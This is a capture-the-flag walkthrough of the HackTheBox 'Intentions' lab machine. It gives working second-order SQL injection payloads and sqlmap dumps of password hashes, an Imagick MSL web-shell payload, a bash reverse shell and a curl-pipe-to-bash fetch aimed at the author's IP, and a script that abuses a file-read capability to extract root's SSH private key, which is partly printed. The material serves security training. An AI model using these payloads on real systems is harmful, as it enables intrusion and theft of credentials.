HTB - Intentions

HTB – Intentions

In this walk through, we will be going through the Intentions room from HackTheBox. This room is rated as Hard on the platform and it consists of exploitation by second-order SQL Injection, followed by abusing an API end point to get admin access on the website which is vulnerable to RCE and thus provide the initial access. For privilege escalation, a custom binary’s extended capabilities was abused to get root. So, let’s get started without any delay.

Intentions

Machine Info:

TitleIntentions
IPaddress10.10.11.220
DifficultyHard
OSLinux
DescriptionIntentions in a hard difficulty Linux machine which requires initial foothold via second order sql injection and abusing an API endpoint to get initial access to a website which is vulnerable to a remote code execution. For privilege escalation, a custom binary’s extended capabilities was abused to get root.

Enumeration:

  • I started with an aggressive nmap scan and found two ports opened – 22 (SSH) and 80 (HTTP).

$ sudo nmap -A 10.10.11.220
[sudo] password for wh1terose: 
Starting Nmap 7.80 ( https://nmap.org ) at 2023-12-16 11:54 IST

Nmap scan report for 10.10.11.220
Host is up (0.20s latency).
Not shown: 997 closed ports
PORT   STATE    SERVICE VERSION
22/tcp open     ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
53/tcp filtered domain
80/tcp open     http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Intentions
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=12/16%OT=22%CT=1%CU=32914%PV=Y%DS=2%DC=T%G=Y%TM=657D42
OS:A5%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)OP
OS:S(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST
OS:11NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)EC
OS:N(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   196.25 ms 10.10.14.1
2   196.40 ms 10.10.11.220

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.90 seconds

nmap scan

  • Enumerated the web server running on port 80 and found a Login and Registration panel for the application.

Intentions Image Gallery login

Intentions Image Gallery Register

  • Fired, gobuster on the application and found a bunch of directories but we were unable to access any of them directly without authentication.

gobuster dir -u http://10.10.11.220/ -w ~/Desktop/Wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt

gobuster scan

  • I registered as a user with the registration panel and logged in with the created user account.

Registering a user

  • It took me to a user portal for our user where we can see the images in the gallery related to the user’s favourite genres and same with the feed. The profile section has the genres listed there with food,travel and nature as default.

News

Profile

  • I intercepted the request that is being sent while updating the user’s favourite genres and it seems like the request is being sent to an API endpoint to update it in the application.

Burpsuite POST request

  • I tried sqlmap on it to see if we can perform any SQL injection here but it failed.

sqlmap result

  • Next, i looked into the user feed option in the application. Upon intercepting the request, i see a GET request to the /user/feed endpoint in order to retrieve feed image information in JSON.

Burpsuite GET request

Burpsuite Response

Performing SQL Injection

  • The think to notice here is that, whatever changes we made in the /user/genres endpoint that is being reflected to the /user/feed endpoint. I tried a manual SQL injection payload in the /user/genres/ endpoint the genres parameter and got a success status.

{"genres":"')/**/UNION/**/SELECT/**/1,@@version,3,4,5#"
}

Burpsuite POST request

Burpsuite Response

  • Next, i retrieve the records using /user/feed endpoint and i got my result back. That means, we have a Second order SQL injection vulnerability here.

Burpsuite GET request

Burpsuite Response

  • I saved the request for the endpoints in two separate files – genrer_request.txt and feed_request.txt

cat genre_request.txt

cat feed_request.txt

  • Next, used the below sqlmap command to enumerate the database names. Found one – Intentions.

sqlmap -r genre_request.txt --second-req feed_request.txt --threads 10 --level 3 --risk 3 --batch --dbs --tamper=space2comment

Database Enumeration

  • Dumped the table names in Intentions DB. Found an interesting one – users.

sqlmap -r genre_request.txt --second-req feed_request.txt -D intentions --tables --threads 10 --level 3 --risk 3 --tamper=space2comment

Dumping tables

  • Dumped the column names in table users. Found some juicy ones – admin, email, password.

sqlmap -r genre_request.txt --second-req feed_request.txt -D intentions -T users --columns --threads 10 --level 3 --risk 3 --tamper=space2comment

Dumping columns

  • At last, dumped the contents of the columns – admin, email and password. Found the bcrypt encrypted password for all the users including two admins – steve and greg.

sqlmap -r genre_request.txt --second-req feed_request.txt -D intentions -T users -C admin,email,password --dump --threads 10 --level 3 --risk 3 --tamper=space2comment

Dumping password hashes

 admin   | email                         | password                                                     |
+---------+-------------------------------+--------------------------------------------------------------+
| 1       | [email protected]          | $2y$10$M/g27T1kJcOpYOfPqQlI3.YfdLIwr3EWbzWOLfpoTtjpeMqpp4twa |
| 1       | [email protected]           | $2y$10$95OR7nHSkYuFUUxsT1KS6uoQ93aufmrpknz4jwRqzIbsUpRiiyU5m |
| 0       | [email protected] | $2y$10$bymjBxAEluQZEc1O7r1h3OdmlHJpTFJ6CqL1x2ZfQ3paSf509bUJ6 |
| 0       | [email protected]        | $2y$10$WkBf7NFjzE5GI5SP7hB5/uA9Bi/BmoNFIUfhBye4gUql/JIc/GTE2 |
| 0       | [email protected]       | $2y$10$JembrsnTWIgDZH3vFo1qT.Zf/hbphiPj1vGdVMXCk56icvD6mn/ae |
| 0       | [email protected]           | $2y$10$oKGH6f8KdEblk6hzkqa2meqyDeiy5gOSSfMeygzoFJ9d1eqgiD2rW |
| 0       | [email protected]           | $2y$10$pAMvp3xPODhnm38lnbwPYuZN0B/0nnHyTSMf1pbEoz6Ghjq.ecA7. |
| 0       | [email protected]        | $2y$10$.VfxnlYhad5YPvanmSt3L.5tGaTa4/dXv1jnfBVCpaR2h.SDDioy2 |
| 0       | [email protected]     | $2y$10$UD1HYmPNuqsWXwhyXSW2d.CawOv1C8QZknUBRgg3/Kx82hjqbJFMO |
| 0       | [email protected]       | $2y$10$4nxh9pJV0HmqEdq9sKRjKuHshmloVH1eH0mSBMzfzx/kpO/XcKw1m |
| 0       | [email protected]           | $2y$10$by.sn.tdh2V1swiDijAZpe1bUpfQr6ZjNUIkug8LSdR2ZVdS9bR7W |
| 0       | [email protected]        | $2y$10$9Yf1zb0jwxqeSnzS9CymsevVGLWIDYI4fQRF5704bMN8Vd4vkvvHi |
| 0       | [email protected]             | $2y$10$UnvH8xiHiZa.wryeO1O5IuARzkwbFogWqE7x74O1we9HYspsv9b2. |
| 0       | [email protected]    | $2y$10$yUpaabSbUpbfNIDzvXUrn.1O8I6LbxuK63GqzrWOyEt8DRd0ljyKS |
| 0       | [email protected]          | $2y$10$01SOJhuW9WzULsWQHspsde3vVKt6VwNADSWY45Ji33lKn7sSvIxIm |
| 0       | [email protected]    | $2y$10$I7I4W5pfcLwu3O/wJwAeJ.xqukO924Tx6WHz1am.PtEXFiFhZUd9S |
| 0       | [email protected]   | $2y$10$0fkHzVJ7paAx0rYErFAtA.2MpKY/ny1.kp/qFzU22t0aBNJHEMkg2 |
| 0       | [email protected]      | $2y$10$p.QL52DVRRHvSM121QCIFOJnAHuVPG5gJDB/N2/lf76YTn1FQGiya |
| 0       | [email protected]          | $2y$10$GDyg.hs4VqBhGlCBFb5dDO6Y0bwb87CPmgFLubYEdHLDXZVyn3lUW |
| 0       | [email protected]       | $2y$10$Gy9v3MDkk5cWO40.H6sJ5uwYJCAlzxf/OhpXbkklsHoLdA8aVt3Ei |
| 0       | [email protected]         | $2y$10$/2wLaoWygrWELes242Cq6Ol3UUx5MmZ31Eqq91Kgm2O8S.39cv9L2 |
| 0       | [email protected]            | $2y$10$k/yUU3iPYEvQRBetaF6GpuxAwapReAPUU8Kd1C0Iygu.JQ/Cllvgy |
| 0       | [email protected]     | $2y$10$0aYgz4DMuXe1gm5/aT.gTe0kgiEKO1xf/7ank4EW1s6ISt1Khs8Ma |
| 0       | [email protected]      | $2y$10$iGDL/XqpsqG.uu875Sp2XOaczC6A3GfO5eOz1kL1k5GMVZMipZPpa |
| 0       | [email protected]           | $2y$10$stXFuM4ct/eKhUfu09JCVOXCTOQLhDQ4CFjlIstypyRUGazqmNpCa |
| 0       | [email protected]       | $2y$10$NDW.r.M5zfl8yDT6rJTcjemJb0YzrJ6gl6tN.iohUugld3EZQZkQy |
| 0       | [email protected]      | $2y$10$S5pjACbhVo9SGO4Be8hQY.Rn87sg10BTQErH3tChanxipQOe9l7Ou |
| 0       | [email protected]           | $2y$10$/orAI8e7iKvoAsbjYytZMOSt0Gwe6xHRE/R5dbBf/CaNGRfmD9T1i |
| 0       | [email protected]           | $2y$10$rC7bLvvWYK5XZsNR9dgWHO8sixwhpu4Jlo0lXTCZcHvX3KplsWWGG

Discovering API V2 endpoint

  • Earlier in our gobuster results, we found a directory named js. Performed a directory bruteforcing again on the target directory and found an interesting file named admin.js

feroxbuster -u http://10.10.11.220/js/ -w ~/Desktop/Wordlist/SecLists/Discovery/Web-Content/raft-small-directories.txt -x js

feroxbuster scan

  • Peeked inside the admin file and found a lot of javascript gibberish. Scrolled down to the bottom and found a note which reveals an API V2 endpoint used to authenticate user with password hash.

admin file

  • I intercepted the request of the login panel in the front page. Changed the API version from V1 to V2 and in the data section, used the user steve’s email address and changed the password parameter to hash and provided steve’s hash respectively. Forwarding the request gives us a “success”.

Burpsuite  POST request

Burpsuite Response

  • Refreshed the page and got in as Steve.

Intentions Profile

  • Now moved to the /admin directory found earlier.

http://10.10.11.220/admin#/

News

  • Looked into the images tab where all the image URLs were stored along with a edit button. The edit button only has some filter that could be applied to the image.

Images

Image 1

  • I intercept the request using Burpsuite and it seems like the modify request and image data is being converted to base64 by the application.

Burpsuite POST request

Burpsuite Response

Initial Access:

  • After lots of trial and error, found that the path variable is feeding the data to a Imagick constructor which is vulnerable to a RFI attack. I used the below payload in order to retrieve the contents of the /etc/passwd file.

{"path":"mvg:/etc/passwd[20x20+20+20]","effect":"charcoal"}

Adding payload in Burpsuite request

Burpsuite Response

  • Decoded the base64 encoded data and got the contents of /etc/passwd file confirming the vulnerability. Also perform a RFI test by pointing the path variable to my netcat listener and it got a hit.

$ echo "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTA0OjEwNTpzeXN0ZW1kIFRpbWUgU3luY2hyb25pemF0aW9uLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpwb2xsaW5hdGU6eDoxMDU6MTo6L3Zhci9jYWNoZS9wb2xsaW5hdGU6L2Jpbi9mYWxzZQpzc2hkOng6MTA2OjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kc3lzbG9nOng6MTA3OjExMzo6L2hvbWUvc3lzbG9nOi91c3Ivc2Jpbi9ub2xvZ2luCnV1aWRkOng6MTA4OjExNDo6L3J1bi91dWlkZDovdXNyL3NiaW4vbm9sb2dpbgp0Y3BkdW1wOng6MTA5OjExNTo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnRzczp4OjExMDoxMTY6VFBNIHNvZnR3YXJlIHN0YWNrLCwsOi92YXIvbGliL3RwbTovYmluL2ZhbHNlCmxhbmRzY2FwZTp4OjExMToxMTc6Oi92YXIvbGliL2xhbmRzY2FwZTovdXNyL3NiaW4vbm9sb2dpbgp1c2JtdXg6eDoxMTI6NDY6dXNibXV4IGRhZW1vbiwsLDovdmFyL2xpYi91c2JtdXg6L3Vzci9zYmluL25vbG9naW4Kc3RldmVuOng6MTAwMDoxMDAwOnN0ZXZlbjovaG9tZS9zdGV2ZW46L2Jpbi9iYXNoCmx4ZDp4Ojk5OToxMDA6Oi92YXIvc25hcC9seGQvY29tbW9uL2x4ZDovYmluL2ZhbHNlCmZ3dXBkLXJlZnJlc2g6eDoxMTM6MTE4OmZ3dXBkLXJlZnJlc2ggdXNlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbXlzcWw6eDoxMTQ6MTE5Ok15U1FMIFNlcnZlciwsLDovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQpmdHA6eDoxMTU6MTIxOmZ0cCBkYWVtb24sLCw6L3Nydi9mdHA6L3Vzci9zYmluL25vbG9naW4KZ3JlZzp4OjEwMDE6MTAwMTo6L2hvbWUvZ3JlZzovYmluL3NoCmxlZ2FsOng6MTAwMjoxMDAyOiwsLDovaG9tZS9sZWdhbDovYmluL2Jhc2gKX2xhdXJlbDp4Ojk5ODo5OTg6Oi92YXIvbG9nL2xhdXJlbDovYmluL2ZhbHNlCg==" | base64 -d
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
steven:x:1000:1000:steven:/home/steven:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
fwupd-refresh:x:113:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
ftp:x:115:121:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
greg:x:1001:1001::/home/greg:/bin/sh
legal:x:1002:1002:,,,:/home/legal:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false

Decoding base64

  • Next, we have to get a shell on the system. For that, i created a file named payload.msl with the following contents.

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:&lt;?php @passthru(@$_REQUEST['c']); ?&gt;" />
<write filename="info:/var/www/html/intentions/storage/app/public/rce.php" />
</image>

curl 'http://10.10.11.220/api/v2/admin/image/modify' -X POST -H 'User-Agent:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36' -H
'Accept: application/json, text/plain, */*' -H 'Accept-Language: en-US,en;q=0.5'
-H 'Accept-Encoding: gzip, deflate' -H 'X-Requested-With: XMLHttpRequest' -H
'Content-Type: application/json' -H 'X-XSRF-TOKEN: eyJ<SNIP>n0=' -H 'Origin:
http://10.10.11.220' -H 'Connection: keep-alive' -H 'Referer:
http://10.10.11.220/admin/' -H 'XSRF-TOKEN=eyJpdiI6InhicnFiYTVUK29hVG9HQ3VDNmF3alE9PSIsInZhbHVlIjoidVVaNXc2N0h6bU45dU1IenViN3RyWVFoMUUyNEpja0Y3UXhlbnpUcjFGRFRJMUdCZUtYNWludGhJSEQ5WmtMVHZEQ0lsQnZXTXFER0FCRTJLR2ovOGtKYlJlTjQ5SXVhd21vbWswbExSeWd4OXJPM2ZJKzJXbWNJMERtckE2MVYiLCJtYWMiOiJkYjQ1ZWYwNDJjNWIzMDZlZjYyZTBlMDcxNjM4ZDY2NDE3MTQ0YTQwOGZjYWE1MTdiYjA4NWQ2NTUwOGI2Y2FiIiwidGFnIjoiIn0%3D; intentions_session=eyJpdiI6IjhVbUQyR1crNlEzVU5tNDhYb2Jvcmc9PSIsInZhbHVlIjoiaHJoUHVidzJ3SXQxVEN0d3pMbUw4a2VqNnZWbklHZG1XREhFTkdLaDBqSmRUWTFMUWR5MjV3NUw5NTRBdHVPcnlvTzBGQzBHdTNKUjNDWnJCODlNTXkvc2U2bDhXOERiUE1PeTNEd1liTERMc0NpOGVVTU9yTGVoRGVtcmR0c0QiLCJtYWMiOiJmM2RiNjdkZTBjNmI4MzYyYWJmMzczYTQ3ZmYwODFiOWRiM2RkMjc0YjhhNTk2ODYzNWE1MjY2ZjNjM2I5MTlkIiwidGFnIjoiIn0%3D; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTAuMTEuMjIwL2FwaS92Mi9hdXRoL2xvZ2luIiwiaWF0IjoxNzAyNzQ1ODYxLCJleHAiOjE3MDI3Njc0NjEsIm5iZiI6MTcwMjc0NTg2MSwianRpIjoidlh0R0pNSElqZE5KZmdZMSIsInN1YiI6IjIiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.UHG1tkoOfmEkv33UU83w7LsHwIfwvQpKubHvQOWlEOQ' --data-raw
'{"path":"/var/www/html/intentions/storage/app/public/animals/jevgeni-fil-
rz2Nh0U8vws-unsplash.jpg","effect":"charcoal"}

  • Performed a POST request using curl and submitted the payload to the application.

curl 'http://10.10.11.220/api/v2/admin/image/modify' -X POST -H 'X-XSRF-TOKEN:
eyJpdiI6InhicnFiYTVUK29hVG9HQ3VDNmF3alE9PSIsInZhbHVlIjoidVVaNXc2N0h6bU45dU1IenViN3RyWVFoMUUyNEpja0Y3UXhlbnpUcjFGRFRJMUdCZUtYNWludGhJSEQ5WmtMVHZEQ0lsQnZXTXFER0FCRTJLR2ovOGtKYlJlTjQ5SXVhd21vbWswbExSeWd4OXJPM2ZJKzJXbWNJMERtckE2MVYiLCJtYWMiOiJkYjQ1ZWYwNDJjNWIzMDZlZjYyZTBlMDcxNjM4ZDY2NDE3MTQ0YTQwOGZjYWE1MTdiYjA4NWQ2NTUwOGI2Y2FiIiwidGFnIjoiIn0=' -H 'Cookie: XSRF-TOKEN=eyJpdiI6InhicnFiYTVUK29hVG9HQ3VDNmF3alE9PSIsInZhbHVlIjoidVVaNXc2N0h6bU45dU1IenViN3RyWVFoMUUyNEpja0Y3UXhlbnpUcjFGRFRJMUdCZUtYNWludGhJSEQ5WmtMVHZEQ0lsQnZXTXFER0FCRTJLR2ovOGtKYlJlTjQ5SXVhd21vbWswbExSeWd4OXJPM2ZJKzJXbWNJMERtckE2MVYiLCJtYWMiOiJkYjQ1ZWYwNDJjNWIzMDZlZjYyZTBlMDcxNjM4ZDY2NDE3MTQ0YTQwOGZjYWE1MTdiYjA4NWQ2NTUwOGI2Y2FiIiwidGFnIjoiIn0%3D; intentions_session=eyJpdiI6IjhVbUQyR1crNlEzVU5tNDhYb2Jvcmc9PSIsInZhbHVlIjoiaHJoUHVidzJ3SXQxVEN0d3pMbUw4a2VqNnZWbklHZG1XREhFTkdLaDBqSmRUWTFMUWR5MjV3NUw5NTRBdHVPcnlvTzBGQzBHdTNKUjNDWnJCODlNTXkvc2U2bDhXOERiUE1PeTNEd1liTERMc0NpOGVVTU9yTGVoRGVtcmR0c0QiLCJtYWMiOiJmM2RiNjdkZTBjNmI4MzYyYWJmMzczYTQ3ZmYwODFiOWRiM2RkMjc0YjhhNTk2ODYzNWE1MjY2ZjNjM2I5MTlkIiwidGFnIjoiIn0%3D; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTAuMTEuMjIwL2FwaS92Mi9hdXRoL2xvZ2luIiwiaWF0IjoxNzAyNzQ1ODYxLCJleHAiOjE3MDI3Njc0NjEsIm5iZiI6MTcwMjc0NTg2MSwianRpIjoidlh0R0pNSElqZE5KZmdZMSIsInN1YiI6IjIiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.UHG1tkoOfmEkv33UU83w7LsHwIfwvQpKubHvQOWlEOQ' -F 'path=vid:msl:/tmp/php*' -F 'effect=asd' -F [email protected]

submitting the payload

  • Next, navigated to the below URL and now we have a pseudo web shell on the target.

http://10.10.11.220/storage/rce.php?c=whoami

got web shell access

  • I created a file named shell with the below bash reverse shell and then used curl to call and executed the payload via bash which grants me a connection back at my netcat listener.

bash -i >& /dev/tcp/10.10.14.24/4444 0>&1

http://10.10.11.220/storage/rce.php?c=curl%20http://10.10.14.24:8000/shell|bash

getting a reverse shell

got callback on our listener

Lateral Movement:

  • Looked inside the working folder and found a .git directory. Tired to look inside it using git log but got hit by an error.

$ ls -la
ls -la
total 820
drwxr-xr-x  14 root     root       4096 Feb  2  2023 .
drwxr-xr-x   3 root     root       4096 Feb  2  2023 ..
-rw-r--r--   1 root     root       1068 Feb  2  2023 .env
drwxr-xr-x   8 root     root       4096 Feb  3  2023 .git
-rw-r--r--   1 root     root       3958 Apr 12  2022 README.md
drwxr-xr-x   7 root     root       4096 Apr 12  2022 app
-rwxr-xr-x   1 root     root       1686 Apr 12  2022 artisan
drwxr-xr-x   3 root     root       4096 Apr 12  2022 bootstrap
-rw-r--r--   1 root     root       1815 Jan 29  2023 composer.json
-rw-r--r--   1 root     root     300400 Jan 29  2023 composer.lock
drwxr-xr-x   2 root     root       4096 Jan 29  2023 config
drwxr-xr-x   5 root     root       4096 Apr 12  2022 database
-rw-r--r--   1 root     root       1629 Jan 29  2023 docker-compose.yml
drwxr-xr-x 534 root     root      20480 Jan 30  2023 node_modules
-rw-r--r--   1 root     root     420902 Jan 30  2023 package-lock.json
-rw-r--r--   1 root     root        891 Jan 30  2023 package.json
-rw-r--r--   1 root     root       1139 Jan 29  2023 phpunit.xml
drwxr-xr-x   5 www-data www-data   4096 Feb  3  2023 public
drwxr-xr-x   7 root     root       4096 Jan 29  2023 resources
drwxr-xr-x   2 root     root       4096 Jun 19 11:22 routes
-rw-r--r--   1 root     root        569 Apr 12  2022 server.php
drwxr-xr-x   5 www-data www-data   4096 Apr 12  2022 storage
drwxr-xr-x   4 root     root       4096 Apr 12  2022 tests
drwxr-xr-x  45 root     root       4096 Jan 29  2023 vendor
-rw-r--r--   1 root     root        722 Feb  2  2023 webpack.mix.js
www-data@intentions:~/html/intentions$ git log -p
git log -p
fatal: detected dubious ownership in repository at '/var/www/html/intentions'
To add an exception for this directory, call:

	git config --global --add safe.directory /var/www/html/intention

.git directory

  • Next, added the directory and the command to our HOME environment variable and it worked.

HOME=/tmp git config --global --add safe.directory /var/www/html/intentions
HOME=/tmp git log -p

 git log -p

  • Found the password of user Greg in one of the git commit.

Greg password

  • With the found password, changed user to Greg and captured the user flag.

changing user to greg

user flag

Privilege Escalation:

  • In the user greg directory, found two files – dmcat_hashes.test and dmca_check.sh

head dmca_hashes.test

cat dmca_check.sh

  • The dmca_check.sh script is using a binary named scanner from the /opt/scanner directory it seems like the binary is running as sudo and performing some actions one uploads directory with the help of dmca_hashes.test file. Looking inside the binary reveals several different options.

dmca_check.sh script

  • Next, checked the capabilities on to the system and found the scanner binary there with cap dac_read_search=ep capability set which can bypass file read permissions checks. That means, we can read sensitive file by abusing the capability.

getcap -r / 2>/dev/null

getcap -r / 2>/dev/null

  • The image gallery system is using the scanner binary to check for any copyright infringement using a list of hashes of blaclist images. This check is done at the byte by byte level with dmca_hashes.test file. What we can do here is that we can get the first byte of our file and match it to check if it is valid. We will repeat this process until we get the full file. I used the below python script to extract the contents of root’s id_rsa file.

#!/usr/bin/env python3

import hashlib
import subprocess
import sys


def get_hash(fn, n):
    """Get the target hash for n length characters of 
    filename fn"""
    proc = subprocess.run(f"/opt/scanner/scanner -c {fn} -s whatever -p -l {n}".split(),
                stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    try:
        return proc.stdout.decode().strip().split()[-1]
    except IndexError:
        return None


def get_next_char(output, target):
    """Take the current output and figure out what the
    next character will be given the target hash"""
    for i in range(256):
        if target == hashlib.md5(output + chr(i).encode()).hexdigest():
            return chr(i).encode()


output = b""
fn = sys.argv[1]

while True:
    target = get_hash(fn, len(output) + 1)
    next_char = get_next_char(output, target)
    if next_char is None:
        break
    output += next_char
    print(next_char.decode(), end="")

python3 extract.py /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA5yMuiPaWPr6P0GYiUi5EnqD8QOM9B7gm2lTHwlA7FMw95/wy8JW3
HqEMYrWSNpX2HqbvxnhOBCW/uwKMbFb4LPI+EzR6eHr5vG438EoeGmLFBvhge54WkTvQyd
vk6xqxjypi3PivKnI2Gm+BWzcMi6kHI+NLDUVn7aNthBIg9OyIVwp7LXl3cgUrWM4StvYZ
ZyGpITFR/1KjaCQjLDnshZO7OrM/PLWdyipq2yZtNoB57kvzbPRpXu7ANbM8wV3cyk/OZt
0LZdhfMuJsJsFLhZufADwPVRK1B0oMjcnljhUuVvYJtm8Ig/8fC9ZEcycF69E+nBAiDuUm
